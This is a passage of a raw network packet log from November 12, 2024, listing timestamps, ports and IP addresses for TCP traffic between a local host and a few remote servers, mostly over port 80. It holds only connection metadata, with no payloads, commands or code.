Nov 12, 2024 13:35:39.004753113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004762888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004772902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004786015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004797935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004808903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.004810095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.004836082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.004846096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.005162001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005173922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005186081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005198002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005208015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005218983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005230904 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005232096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.005232096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.005232096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.005242109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005254984 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005274057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.005274057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.005323887 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.005649090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005661964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.005696058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.005696058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.009232044 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.009251118 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.009283066 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.009288073 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.009339094 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.056139946 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.056684971 CET	62201	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.056705952 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.058697939 CET	62201	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.058702946 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.115716934 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.115741968 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.115793943 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.115819931 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.115842104 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.115906000 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.116813898 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.116836071 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.116867065 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.116872072 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.116911888 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.119525909 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119566917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119575977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.119585991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119610071 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.119645119 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.119766951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119779110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119791031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119801044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119810104 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.119812965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119822979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.119826078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.119841099 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.119890928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.120131969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120145082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120210886 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.120295048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120307922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120317936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120335102 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120337009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.120347023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120373011 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.120393038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.120729923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120742083 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120752096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120763063 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120774031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120785952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120794058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.120794058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.120796919 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120812893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.120841980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.120851040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.121315956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121341944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121352911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121362925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121375084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121381998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.121385098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121499062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.121499062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.121860981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121872902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121881962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121901035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121912003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121922970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121934891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.121934891 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121934891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.121946096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121953964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.121963978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121975899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.121985912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122020006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122020006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122020006 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122817993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122831106 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122840881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122853994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122867107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122874022 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122878075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122889042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122900963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122912884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122925043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122926950 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122927904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122936964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122947931 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122952938 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122960091 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122971058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122982025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.122982979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122982979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.122996092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123024940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.123056889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.123809099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123823881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123835087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123847008 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123861074 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123871088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123882055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123888969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.123893976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123904943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123915911 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123924017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.123928070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123939037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123946905 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.123950005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123960972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123965025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.123971939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123972893 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.123981953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.123991966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124001980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124011040 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.124049902 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.124655962 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124690056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124701977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124712944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124722958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124733925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.124733925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.124733925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124746084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124757051 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124767065 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124767065 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.124767065 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.124778986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124790907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.124792099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.124808073 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.124841928 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.171183109 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.171200037 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.171256065 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.171269894 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.171315908 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.187434912 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.187485933 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.187625885 CET	62201	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.187762022 CET	62201	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.187776089 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.187808037 CET	62201	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.187815905 CET	443	62201	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.190777063 CET	62206	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.190813065 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.190951109 CET	62206	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.191154957 CET	62206	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:39.191168070 CET	443	62206	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:39.235182047 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.235200882 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.235265970 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.235282898 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.235320091 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.236298084 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.236313105 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.236362934 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.236368895 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:39.236398935 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:39.236912012 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.236974001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.236985922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237008095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237008095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237032890 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237169027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237179995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237191916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237202883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237230062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237257004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237390995 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237404108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237415075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237451077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237464905 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237663031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237674952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237687111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237699032 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237709999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.237715960 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237828970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237828970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.237992048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238002062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238010883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238023043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238034964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238044977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238069057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.238069057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.238112926 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.238486052 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238497972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238507986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238523006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238533020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238542080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.238544941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238557100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238568068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238574982 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.238579035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238585949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.238588095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.238630056 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.239201069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239212990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239223957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239236116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239250898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239259958 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239276886 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.239276886 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.239329100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.239579916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239592075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239603043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239614964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239650965 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.239689112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.239854097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239866972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239949942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.239949942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.239955902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239968061 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239979982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.239999056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240009069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240020037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240031004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240034103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240034103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240042925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240050077 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240056992 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240098000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240098000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240854025 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240865946 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240876913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240888119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240900040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240911007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240921974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240931988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240931988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240932941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240945101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240956068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240967035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240976095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240978003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240978003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240987062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.240998983 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.240999937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241013050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241024017 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241036892 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.241064072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.241064072 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.241820097 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241832018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241842985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241853952 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241863966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241874933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241879940 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.241889000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241900921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241913080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241918087 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.241924047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241935015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241946936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241946936 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.241946936 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.241956949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241969109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241981030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.241992950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242022038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242022038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242022038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242043018 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:39.242712975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242724895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:39.242734909 CET	80	51556	185.215.113.206	192.168.2.6
